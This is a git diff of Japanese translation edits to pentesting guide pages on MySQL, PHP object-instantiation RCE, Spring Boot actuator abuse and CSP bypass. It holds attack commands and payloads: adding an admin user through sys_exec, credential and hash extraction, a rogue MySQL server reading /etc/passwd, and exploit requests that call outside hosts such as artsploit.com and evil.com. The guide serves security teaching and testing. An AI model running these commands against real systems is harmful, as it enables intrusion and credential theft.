+253,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Windows のヒント: SQLからNTFS ADSを使ってディレクトリを作成する +#### Windows のヒント: SQLからNTFS ADSでディレクトリを作成する -NTFSでは、ファイル書き込みプリミティブしか存在しない場合でも、alternate data stream(代替データストリーム)を利用してディレクトリ作成を強制できます。もし classic UDF chain が `plugin` ディレクトリを期待しているがそれが存在せず、`@@plugin_dir` が不明またはロックされている場合は、まず `::$INDEX_ALLOCATION` でそれを作成できます: +NTFS上では、ファイル書き込みプリミティブしかない場合でも、alternate data stream を利用してディレクトリ作成を強制できます。古典的な UDF chain が `plugin` ディレクトリを期待していて、それが存在せず `@@plugin_dir` が不明または制限されている場合、まず `::$INDEX_ALLOCATION` で作成できます: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -これは限定的な `SELECT ... INTO OUTFILE` を Windows スタック上で、UDF drops に必要なフォルダ構造をブートストラップすることでより完全なプリミティブに変えます。 +これは限定的な `SELECT ... INTO OUTFILE` を、Windows スタック上で UDF drops に必要なフォルダ構造をブートストラップすることで、より完全なプリミティブに変えます。 -### MySQL の資格情報をファイルから抽出 +### ファイルからMySQLの資格情報を抽出する -ファイル _/etc/mysql/debian.cnf_ の中にはユーザー **debian-sys-maint** の **平文パスワード** が見つかります。 +Inside _/etc/mysql/debian.cnf_ you can find the **平文パスワード** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -あなたは **これらの資格情報を使用して MySQL データベースにログイン** できます。 +これらの資格情報を使用して **mysql database にログインできます**。 -ファイル内: _/var/lib/mysql/mysql/user.MYD_ には、**MySQL ユーザーのすべてのハッシュ**(データベース内の mysql.user から抽出できるもの)が含まれています。 +ファイル内: _/var/lib/mysql/mysql/user.MYD_ に **MySQL ユーザーのすべてのハッシュ**(データベース内の mysql.user から抽出できるもの)_._ -それらは次のように抽出できます: +次のように抽出できます: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### ログの有効化 +### ロギングの有効化 -次の行のコメントを外すことで、`/etc/mysql/my.cnf` 内で mysql クエリのログを有効にできます: +次の行のコメントアウトを外すことで、`/etc/mysql/my.cnf` 内で mysql クエリのロギングを有効にできます: ![](<../images/image (899).png>) -### 有用なファイル +### 便利なファイル -Configuration Files +設定ファイル - windows \* - config.ini @@ -298,14 +299,14 @@ Configuration Files - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Command History +- コマンド履歴 - \~/.mysql.history -- Log Files +- ログファイル - connections.log - update.log - common.log -## デフォルトの MySQL Database/Tables +## デフォルトの MySQL データベース/テーブル {{#tabs}} {{#tab name="information_schema"}} @@ -656,37 +657,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ ## 2023-2025 ハイライト(新) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -Connector/J <= 8.0.32 から、**JDBC URL** に影響を与えられる攻撃者(例えば接続文字列を要求するサードパーティ製ソフトウェア内)は、`propertiesTransform` パラメータを介して *client* 側で任意のクラスをロードするよう要求できます。class-path 上に存在する gadget がロード可能であれば、これは **remote code execution in the context of the JDBC client** を引き起こします(pre-auth、認証情報は不要のため)。最小限のPoCは次のようになります: +Connector/J <= 8.0.32 では、攻撃者が **JDBC URL** に影響を与えられる場合(例えば接続文字列を要求するサードパーティ製ソフトウェア内で)、`propertiesTransform` パラメータを介して *クライアント* 側で任意のクラスを読み込むよう要求できます。クラスパス上にロード可能な gadget が存在する場合、これは **remote code execution in the context of the JDBC client** を引き起こします(pre-auth、認証情報は不要)。最小の PoC は次のようになります: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -`Evil.class` を実行することは、脆弱なアプリケーションのクラスパス上にそれを配置するだけ、あるいは悪意のある MySQL サーバーにシリアライズされたオブジェクトを送らせるだけで済む場合がある。この問題は Connector/J 8.0.33 で修正されている — ドライバーをアップグレードするか、許可リスト上で明示的に `propertiesTransform` を設定せよ。 -(詳細は Snyk の write-up を参照) +`Evil.class` を実行するのは、脆弱なアプリケーションのクラスパスに配置するだけ、あるいは rogue MySQL サーバが悪意あるシリアライズ済みオブジェクトを送信するのを許すだけで済むことがある。 この問題は Connector/J 8.0.33 で修正済み — ドライバをアップグレードするか、`propertiesTransform` を明示的に allow-list に設定する。 +(詳細は Snyk write-up を参照) -### JDBC クライアントに対する偽の MySQL サーバー攻撃 -外向きに接続する JDBC クライアントを攻撃するために、いくつかのオープンソースツールが MySQL プロトコルの*部分的な*実装を行っている: +### JDBCクライアントに対する Rogue / Fake MySQL server 攻撃 +いくつかのオープンソースツールは、外向きに接続する JDBC クライアントを攻撃するために、MySQL プロトコルの *部分的な* 実装を提供している: -* **mysql-fake-server** (Java、ファイル読み取りおよびデシリアライズのエクスプロイトをサポート) -* **rogue_mysql_server** (Python、類似の機能) +* **mysql-fake-server** (Java、ファイル読み取りと deserialization exploits をサポート) +* **rogue_mysql_server** (Python、同様の機能) -典型的な攻撃パス: +典型的な攻撃経路: -1. 被害アプリケーションが `mysql-connector-j` を `allowLoadLocalInfile=true` または `autoDeserialize=true` でロードしている。 -2. 攻撃者が DNS / host エントリを操作し、DB のホスト名が攻撃者の管理下にあるマシンに解決されるようにする。 -3. 悪意あるサーバーが巧妙に作成されたパケットで応答し、`LOCAL INFILE` による任意ファイル読み取りか Java のデシリアライズを誘発して → RCE。 +1. 被害アプリケーションが `mysql-connector-j` を `allowLoadLocalInfile=true` または `autoDeserialize=true` で読み込んでいる。 +2. 攻撃者が DNS / host エントリを制御し、DB のホスト名が攻撃者の管理下のマシンに解決されるようにする。 +3. 悪意あるサーバが細工したパケットで応答し、`LOCAL INFILE` による任意のファイル読み取りか Java deserialization を誘発 → RCE。 -偽サーバーを起動するワンライナーの例 (Java): +偽サーバを起動するためのワンライナーの例 (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -次に、被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` に向け、ファイル名を base64 にエンコードして *username* フィールドに入れることで `/etc/passwd` を読みます(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。 +次に被害者アプリケーションを `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` に向け、*username* フィールドにファイル名を base64 でエンコードして `/etc/passwd` を読みます(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。 -### `caching_sha2_password` ハッシュのクラッキング -MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`** (SHA-256) として格納します。Hashcat(mode **21100**)と John-the-Ripper(`--format=mysql-sha2`)の両方が 2023 年以降オフラインでのクラッキングをサポートしています。`authentication_string` カラムをダンプしてそのまま投入します: +### `caching_sha2_password` ハッシュのクラック +MySQL ≥ 8.0 はパスワードハッシュを **`$mysql-sha2$`**(SHA-256)として保存します。Hashcat(mode **21100**)と John-the-Ripper(`--format=mysql-sha2`)はどちらも 2023 年以降オフラインでのクラックをサポートしています。`authentication_string` カラムをダンプしてそのまま渡します: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -696,11 +696,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` ### ハードニングチェックリスト (2025) -• **`LOCAL_INFILE=0`** と **`--secure-file-priv=/var/empty`** を設定し、ほとんどのファイル読み書きプリミティブを無効化する。 +• ほとんどのファイル読み書きプリミティブを無効化するため、**`LOCAL_INFILE=0`** および **`--secure-file-priv=/var/empty`** を設定する。 • アプリケーションアカウントから **`FILE`** 権限を削除する。 -• Connector/J では `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(空)を設定する。 -• 未使用の認証プラグインを無効化し、**TLS を必須にする** (`require_secure_transport = ON`)。 -• `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL`、および突然の `SET GLOBAL` ステートメントを監視する。 +• Connector/Jでは `allowLoadLocalInfile=false`、`allowUrlInLocalInfile=false`、`autoDeserialize=false`、`propertiesTransform=`(空)を設定する。 +• 未使用の認証プラグインを無効化し、**require TLS**(`require_secure_transport = ON`)を有効にする。 +• `CREATE FUNCTION`、`INSTALL COMPONENT`、`INTO OUTFILE`、`LOAD DATA LOCAL`、および突然の `SET GLOBAL` ステートメントを監視する。 --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 1edcaa2d8..32eb4022f 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,18 +1,18 @@ -# PHP - オブジェクト作成を悪用した RCE: new $_GET["a"]($_GET["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -これは基本的に [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) の要約です。 +これは基本的に [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) の要約です -## 導入 +## はじめに -例えば `new $_GET["a"]($_GET["a"])` のような任意のオブジェクト生成は、[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に詳述されているように Remote Code Execution (RCE) を引き起こす可能性があります。本書では RCE を達成するためのさまざまな戦略を強調します。 +`new $_GET["a"]($_GET["a"])` のような任意のオブジェクトの生成は Remote Code Execution (RCE) を引き起こす可能性があり、詳細は [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に記載されています。 このドキュメントでは RCE を達成するためのさまざまな戦略を紹介します。 -## カスタムクラスまたはオートローディング経由の RCE +## RCE via Custom Classes or Autoloading -構文 `new $a($b)` はオブジェクトをインスタンス化するために使われ、**`$a`** はクラス名、**`$b`** はコンストラクタに渡される最初の引数を表します。これらの変数は GET/POST のようなユーザ入力から取得される可能性があり、その場合文字列や配列であることがありますし、JSON から来るときは別の型として現れることがあります。 +`new $a($b)` という構文はオブジェクトをインスタンス化するために使用され、**`$a`** はクラス名を、**`$b`** はコンストラクタに渡される最初の引数を表します。これらの変数は GET/POST のようなユーザー入力から取得され、文字列や配列である場合があり、JSON から来る場合は他の型として現れることがあります。 -以下のコードスニペットを考えてください: +以下のコードスニペットを考えてください: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -この場合、`$a` を `App` または `App2` に、`$b` をシステムコマンド(例: `uname -a`)に設定すると、そのコマンドが実行されます。 +この例では、`$a` を `App` または `App2` に、`$b` をシステムコマンド(例: `uname -a`)に設定すると、そのコマンドが実行されます。 -**Autoloading functions** は、そのようなクラスに直接アクセスできない場合に悪用される可能性があります。これらの関数は必要に応じてファイルからクラスを自動的に読み込み、`spl_autoload_register` または `__autoload` を使って定義されます: +**Autoloading functions** は、そのようなクラスに直接アクセスできない場合に悪用できます。これらの関数は必要に応じてファイルからクラスを自動的に読み込み、`spl_autoload_register` または `__autoload` を使って定義されます: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,74 +45,74 @@ include $class_name . '.php'; spl_autoload_register(); ``` -オートローディングの挙動はPHPのバージョンによって異なり、様々なRCEの可能性をもたらします。 +The behavior of autoloading varies with PHP versions, offering different RCE possibilities. -## 組み込みPHPクラス経由のRCE +## RCE via Built-In Classes -カスタムクラスやオートローダーが存在しない場合、**組み込みPHPクラス**だけでRCEが可能なことがあります。これらのクラス数はPHPのバージョンや拡張により100〜200程度と変動します。`get_declared_classes()`で一覧表示できます。 +カスタムクラスやオートローダーがない場合、**built-in PHP classes** だけで RCE が可能な場合があります。これらのクラス数は PHP のバージョンや拡張により 100〜200 程度で変動します。`get_declared_classes()` で一覧化できます。 -注目すべきコンストラクタは、リフレクションAPIを使って特定できます。次の例とリンク [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) を参照してください。 +注目すべきコンストラクタは reflection API を使って特定できます。以下の例とリンク [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) を参照してください。 **RCE via specific methods includes:** ### **SSRF + Phar Deserialization** -`SplFileObject`クラスはコンストラクタを通じてSSRFを引き起こすことができ、任意のURLへ接続可能です: +`SplFileObject` クラスはそのコンストラクタを介して SSRF を引き起こすことができ、任意の URL への接続を許可します: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF は Phar protocol を利用して、PHP 8.0 未満のバージョンで deserialization attacks を引き起こす可能性があります。 +SSRFは、Pharプロトコルを使用してPHP 8.0未満のバージョンでdeserialization attacksを引き起こす可能性があります。 ### **Exploiting PDOs** -PDO クラスのコンストラクタは DSN strings を介してデータベースへ接続することを可能にし、ファイルの作成やその他の操作を引き起こす可能性があります: +PDOクラスのコンストラクタは、DSN文字列を介してデータベースへの接続を許可し、潜在的にファイル作成やその他の操作を可能にします: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2. +PHP の 5.3.22 および 5.4.12 までのバージョンは、libxml2 のバージョンに依存して、`SoapClient` や `SimpleXMLElement` コンストラクタを通した XXE 攻撃の影響を受けやすい状態でした。 ## RCE via Imagick Extension -あるプロジェクトの依存関係を分析したところ、Imagickは新しいオブジェクトをインスタンス化することでコマンド実行に利用できることが判明しました。これは脆弱性を悪用する機会を提供します。 +プロジェクトの依存関係を解析したところ、**Imagick** が新しいオブジェクトのインスタンス化によって **command execution** に利用できることが判明しました。これは脆弱性を突く機会を提供します。 ### VID parser -VIDパーサーがファイルシステム内の任意のパスにコンテンツを書き込める機能を持っていることが確認されました。これにより、webからアクセス可能なディレクトリへPHPシェルを配置し、Remote Code Execution (RCE)を達成する可能性があります。 +VID parser がファイルシステム上の任意のパスへ内容を書き込める機能を持つことが確認されました。これにより、web アクセス可能なディレクトリに PHP シェルを配置して Remote Code Execution (RCE) を達成することが可能になります。 #### VID Parser + File Upload -PHPがアップロードされたファイルを一時的に `/tmp/phpXXXXXX` に保存することに注意してください。ImagickのVIDパーサーはmslプロトコルを使用し、ファイルパスのワイルドカードを扱えるため、一時ファイルを任意の場所へ転送することが可能です。この方法は、ファイルシステム内で任意のファイル書き込みを達成するための別の手段を提供します。 +PHP はアップロードされたファイルを一時的に `/tmp/phpXXXXXX` に保存することに注意してください。Imagick の VID parser は **msl** プロトコルを使用し、ファイルパスのワイルドカードを扱えるため、一時ファイルを任意の場所へ移動させることができます。この手法はファイルシステム内での任意のファイル書き込みを達成するための別のアプローチを提供します。 ### PHP Crash + Brute Force -A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick. +[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) に記載された手法では、削除前にサーバをクラッシュさせるファイルをアップロードすることが説明されています。テンポラリファイル名をブルートフォースすることで、Imagick が任意の PHP コードを実行できるようになる可能性があります。ただし、この手法は古いバージョンの ImageMagick でのみ有効であることが判明しました。 ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -ユーザ入力がクラス名を制御する場合(例: `new $_GET['model']()`)、PHP 7.0.0では`Throwable`のリファクタリング中に一時的なバグが導入され、エンジンがクラス名を解決する際に誤ってprintf形式文字列として扱ってしまいました。これによりPHP内で古典的なprintfスタイルのプリミティブが利用可能になり、`%p`による leaks、幅指定子による書き込みカウントの制御、および`%n`を用いたプロセス内ポインタ(例: ELFビルドのGOTエントリ)への任意書き込みが可能になります。 +ユーザ入力がクラス名を制御する場合(例: `new $_GET['model']()`)、PHP 7.0.0 の `Throwable` リファクタ中に一時的なバグが導入され、エンジンがクラス名を解決する際に誤って printf のフォーマット文字列として扱ってしまうことがありました。これにより、PHP 内で古典的な printf スタイルのプリミティブが利用可能になります:leaks with `%p`、幅指定子による書込カウント制御、そして in-process ポインタ(例えば ELF ビルドの GOT エントリ)に対する `%n` を使った arbitrary writes が可能になります。 -Minimal repro vulnerable pattern: +最小再現の脆弱なパターン: ```php d%$n` で部分的な上書きを行う。 +注意: +- PHP 7.0.0 のみで動作(バグ [#71105](https://bugs.php.net/bug.php?id=71105));後続のリリースで修正済み。重大度: critical(任意のクラスインスタンス化が存在する場合)。 +- 典型的なペイロードはスタックをトレースするために多数の `%p` を連結し、その後 `%.d%$n` を使って部分上書きを行う。 -## References +## 参考 - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 3425b5e6e..caf64a049 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -10,26 +10,26 @@ ## Spring Boot Actuators の悪用 -**元の投稿を確認:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**元の投稿を確認:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **主なポイント:** +### **要点:** -- Spring Boot Actuators は `/health`、`/trace`、`/beans`、`/env` などのエンドポイントを登録する。バージョン 1 から 1.4 ではこれらのエンドポイントは認証なしでアクセス可能。1.5 以降ではデフォルトで非機密なのは `/health` と `/info` のみだが、開発者がこのセキュリティを無効にすることが多い。 -- 特定の Actuator エンドポイントは機密データを露出したり有害な操作を許容したりする可能性がある: +- Spring Boot Actuators は `/health`、`/trace`、`/beans`、`/env` などのエンドポイントを登録します。バージョン1から1.4まではこれらのエンドポイントは認証なしでアクセス可能です。1.5以降ではデフォルトで非敏感なのは `/health` と `/info` のみですが、開発者がこのセキュリティを無効にすることがよくあります。 +- 一部の Actuator エンドポイントは機密データを露出したり、有害な操作を許可したりする可能性があります: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, および `/heapdump`。 -- Spring Boot 1.x では actuators はルート URL 配下に登録されるが、2.x では `/actuator/` ベースパス配下に配置される。 +- Spring Boot 1.x では actuators はルート URL 配下に登録されますが、2.x では `/actuator/` ベースパスの下に配置されます。 -### **悪用テクニック:** +### **Exploitation Techniques:** 1. **Remote Code Execution via '/jolokia'**: -- `/jolokia` actuator エンドポイントは Jolokia Library を公開しており、MBeans への HTTP アクセスを可能にする。 -- `reloadByURL` アクションは外部 URL からのロギング設定のリロードに悪用でき、巧妙に作られた XML 設定によって blind XXE や Remote Code Execution を引き起こす可能性がある。 -- 例のエクスプロイト URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +- `/jolokia` actuator エンドポイントは Jolokia Library を公開し、MBeans への HTTP アクセスを可能にします。 +- `reloadByURL` アクションは外部 URL からのロギング設定の再読み込みに悪用でき、細工した XML 設定を介して blind XXE や Remote Code Execution に繋がる可能性があります。 +- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- Spring Cloud Libraries が存在する場合、`/env` エンドポイントは環境プロパティの変更を許可する。 -- プロパティを操作することで、Eureka の serviceURL における XStream のデシリアライズ脆弱性などを悪用できる。 -- 例の POST リクエスト: +- Spring Cloud Libraries が存在する場合、`/env` エンドポイントは環境プロパティの変更を許可します。 +- プロパティを操作することで、Eureka の serviceURL における XStream の deserialization 脆弱性などを悪用できます。 +- Example exploit POST request: ``` POST /env HTTP/1.1 @@ -40,22 +40,22 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **その他の有用な設定:** -- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, `spring.datasource.tomcat.max-active` のようなプロパティは、SQL インジェクションやデータベース接続文字列の変更など、さまざまな悪用に利用され得る。 +3. **Other Useful Settings**: +- `spring.datasource.tomcat.validationQuery`、`spring.datasource.tomcat.url`、および `spring.datasource.tomcat.max-active` のようなプロパティは、SQL injection やデータベース接続文字列の変更など、さまざまな悪用に利用できます。 ### **追加情報:** -- デフォルトの actuator の包括的なリストは [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) にある。 -- Spring Boot 2.x の `/env` エンドポイントはプロパティ変更に JSON フォーマットを使用するが、概念は同じである。 +- default actuators の包括的なリストは [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) にあります。 +- Spring Boot 2.x の `/env` エンドポイントはプロパティ変更に JSON 形式を使用しますが、基本的な概念は同じです。 ### **関連トピック:** 1. **Env + H2 RCE**: -- `/env` エンドポイントと H2 データベースを組み合わせた悪用の詳細は [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) を参照。 +- `/env` エンドポイントと H2 データベースの組み合わせを悪用する詳細は [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) にあります。 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Spring フレームワークの HTTP pathname における matrix parameters (`;`) の扱いの不備は Server-Side Request Forgery (SSRF) に悪用され得る。 -- 例のエクスプロイトリクエスト: +- HTTP pathname 内の matrix parameters (`;`) に関する Spring フレームワークの処理を悪用して、Server-Side Request Forgery (SSRF) を引き起こせます。 +- Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com @@ -91,9 +91,9 @@ Typical high-value findings: - `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`). - Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory. -Tips: -- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed. -- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly. +ヒント: +- Spring に特化したワードリストを使って actuator エンドポイントを素早く発見してください(例: SecLists spring-boot.txt)。また `/actuator/logfile`、`/actuator/httpexchanges`、`/actuator/env`、`/actuator/configprops` が公開されていないか常に確認してください。 +- Heapdump から得た Credentials は隣接サービスや場合によってはシステムユーザ(SSH)でも有効なことがあるので、広く試してみてください。 ## Abusing Actuator loggers/logging to capture credentials diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 8b063cae3..1b2cce1e0 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,31 +1,31 @@ -# Content Security Policy (CSP) Bypass +# コンテンツセキュリティポリシー (CSP) バイパス {{#include ../../banners/hacktricks-training.md}} ## CSPとは -Content Security Policy (CSP) はブラウザ技術として認識されており、主に **cross-site scripting (XSS) のような攻撃からの防御** を目的としています。CSPはブラウザが安全にリソースを読み込めるパスやソースを定義・指定することで機能します。これらのリソースには、画像、フレーム、JavaScript などが含まれます。例えば、ポリシーは同一ドメイン(self)からのリソースの読み込みと実行を許可したり、インラインリソースや `eval`、`setTimeout`、`setInterval` のような関数を通じた文字列コードの実行を許可する場合があります。 +Content Security Policy (CSP) は、主に **クロスサイトスクリプティング (XSS) のような攻撃から保護する** ことを目的としたブラウザ技術として知られています。ブラウザが安全に読み込めるリソースのパスやソースを定義・指定することで機能します。これらのリソースには画像、フレーム、JavaScriptなどが含まれます。例えば、ポリシーは同一ドメイン(self)からのリソースの読み込みと実行を許可したり、インラインリソースや `eval`、`setTimeout`、`setInterval` のような関数を通じた文字列コードの実行を許可する場合があります。 -CSP の実装は **response headers** を通じて、または HTML ページに **meta 要素を組み込む**ことで行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。 +CSP の実装は **レスポンスヘッダー** を通して、または HTML ページに **meta 要素** を組み込むことで行われます。ブラウザはこのポリシーに従い規定を強制し、検出された違反を即座にブロックします。 -- Implemented via response header: +- レスポンスヘッダーで実装される: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- メタタグで実装されています: +- meta tag によって実装される: ```xml ``` ### ヘッダー -CSP は以下のヘッダーで強制またはモニタリングできます: +CSPは次のヘッダーで強制または監視できます: -- `Content-Security-Policy`: CSP を強制する。ブラウザは違反をブロックする。 -- `Content-Security-Policy-Report-Only`: モニタリング用に使用する。違反をブロックせずに報告する。本番前の環境でのテストに最適。 +- `Content-Security-Policy`: CSPを強制します。ブラウザは違反をブロックします。 +- `Content-Security-Policy-Report-Only`: 監視用に使われます。違反をブロックせずにレポートします。プレプロダクション環境でのテストに適しています。 ### リソースの定義 -CSP はアクティブおよびパッシブなコンテンツを読み込むためのオリジンを制限し、インライン JavaScript の実行や `eval()` の使用などを制御する。例としてのポリシーは以下の通り: +CSPは、アクティブおよびパッシブコンテンツの読み込み元(オリジン)を制限し、インラインJavaScriptの実行や`eval()`の使用などを制御します。ポリシーの例は次のとおりです: ```bash default-src 'none'; img-src 'self'; @@ -40,37 +40,37 @@ object-src 'none'; ### ディレクティブ - **script-src**: JavaScriptの特定のソースを許可します。URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートでトリガーされるスクリプトを含みます。 -- **default-src**: 特定のフェッチディレクティブがない場合のリソース取得に対するデフォルトポリシーを設定します。 -- **child-src**: web workerや埋め込みフレームのコンテンツに対して許可されるリソースを指定します。 -- **connect-src**: fetch、WebSocket、XMLHttpRequestのようなインターフェイスで読み込めるURLを制限します。 +- **default-src**: 特定の取得ディレクティブが無い場合のリソース取得のデフォルトポリシーを設定します。 +- **child-src**: web workersおよび埋め込まれたフレームのコンテンツに対する許可されたリソースを指定します。 +- **connect-src**: fetch、WebSocket、XMLHttpRequestのようなインターフェースを使って読み込めるURLを制限します。 - **frame-src**: フレームのためのURLを制限します。 -- **frame-ancestors**: 現在のページを埋め込めるソースを指定します(``, ` // The bot will load an URL with the payload @@ -546,24 +547,24 @@ console.log(prefix) run() ``` -### Bookmarklets を介して +### Bookmarklets を使った攻撃 -この攻撃は、攻撃者が **ユーザを説得してブラウザの bookmarklet 上にリンクを drag\&dropped させる** ような social engineering を含みます。 この bookmarklet は **悪意のある javascript** コードを含み、drag\&dropped またはクリックされたときに現在のウェブウィンドウのコンテキストで実行され、**CSP をバイパスして cookies や tokens のような機密情報を窃取できる** ようにします。 +この攻撃はソーシャルエンジニアリングを伴い、攻撃者が**ユーザーにブラウザの bookmarklet の上にリンクを drag and drop するよう説得する**ことを想定します。この bookmarklet には **malicious javascript** コードが含まれており、drag\&dropped またはクリックされると現在のウェブウィンドウのコンテキストで実行され、**CSP をバイパスして cookies や tokens のような機密情報を盗むことができます**。 -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +詳細は[**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)をご覧ください。 -### CSP bypass by restricting CSP +### CSP を制限して CSP をバイパス -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **別のスクリプトを悪用して任意のスクリプトを読み込ませる**。 +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. -You can **iframe の CSP を制限する** with the **`csp`** attribute: +**Iframe の CSP を制限する**には、**`csp`** 属性を使用できます: ```html ``` -In [**this CTF 